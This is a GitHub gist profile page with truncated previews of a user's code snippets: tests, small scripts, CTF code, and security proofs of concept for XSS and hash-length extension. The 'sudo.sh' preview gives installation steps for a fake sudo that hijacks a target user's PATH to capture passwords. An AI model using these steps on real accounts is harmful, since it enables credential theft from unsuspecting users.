Skip to content

Instantly share code, notes, and snippets.

View ldionmarcil's full-sized avatar

Louis Dion-Marcil ldionmarcil

View GitHub Profile
xvsbnbs
public void testPlayerLowerTest(){
player1.setScore(5);
player2.setScore(3);
Assert.assertTrue(player1.compareTo(player2)==-1);
}
public void testPlayerSameScoreTest(){
player1.setScore(4);
player2.setScore(4);
Assert.assertTrue(player1.compareTo(player2)==0);
(defun rs-poll ()
(interactive)
(when (not (boundp 'rs-poll-time))
(defvar rs-poll-time 1)
(defvar rs-poll-votes 1))
(let ((buffer (url-retrieve-synchronously "http://services.runescape.com/m=poll/rs2007-server"))
(lst)
(percent))
(with-current-buffer buffer
(save-excursion
@ldionmarcil
ldionmarcil / gist:5001885
Created February 21, 2013 03:51
wol.sh
: echo ${hours:="16"}
: echo ${start_minutes:="25"} #30
: echo ${end_minutes:="40"} #40
: echo ${last_day_found:="0"}
: echo ${phone_mac:="5c:0a:5b:11:17:bb"}
: echo ${box_mac:="bc:ae:c5:62:df:20"}
: echo ${interval:="0"}
while [ true ]
do
@ldionmarcil
ldionmarcil / gist:5675380
Created May 30, 2013 02:19
common lisp's emit-html example
=> (emit-html '(:html (:head (:title "Hello")) (:body (:p "Hello,world!"))))
<html>
<head>
<title>Hello</title>
</head>
<body>
<p>Hello,world!</p>
</body>
</html>
@ldionmarcil
ldionmarcil / CSAW2013MISC300
Created September 22, 2013 22:23
CSAW CTF 2013 code for Misc 300 "Life"
#Hacked together, don't expect quality code!
#Author: Louis Dion-Marcil
#Note: Borrowed code from StackExchange's CodeReview user, Lewis
#http://codereview.stackexchange.com/questions/25772/game-of-life-in-python
import socket, re
host = "128.238.66.216"
port = 45678
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
@ldionmarcil
ldionmarcil / gist:144deb40726a3b7c1d66
Last active July 15, 2016 22:09
Proof of concept ZAP wrapper for wpscan
/*
* Zed Attack Proxy (ZAP) and its related class files.
*
* ZAP is an HTTP/HTTPS proxy for assessing web application security.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
@ldionmarcil
ldionmarcil / sudo.sh
Last active July 28, 2025 14:43
transparent sudo wrapper to dump passwords, for when bruteforcing shadow files just doesn't cut it.
# Installation:
# Append the following line to the target user's .bashrc file by running
# the following command:
# $ echo "export PATH=~/.payload:$PATH" >> ~/.bashrc
#
# Then, create ~/.payload/sudo and paste the following code in the file.
# Don't forget to make the bash script executable by issuing the following
# command:
#
# $ chmod a+x ~/.payload/sudo
@ldionmarcil
ldionmarcil / PublicKeyManager.java
Created August 25, 2014 04:40
XSS POC diamondhunt MMO
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: PublicKeyManager.java
import java.io.PrintStream;
import java.security.*;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.Cipher;
@ldionmarcil
ldionmarcil / hashlength.py
Created November 27, 2014 00:17
Kijiji hash-length extension
# non functional - validation
import requests
import hashpumpy
import binascii
import base64
import time
import bs4
session = requests.Session()
headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0","Connection":"keep-alive","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}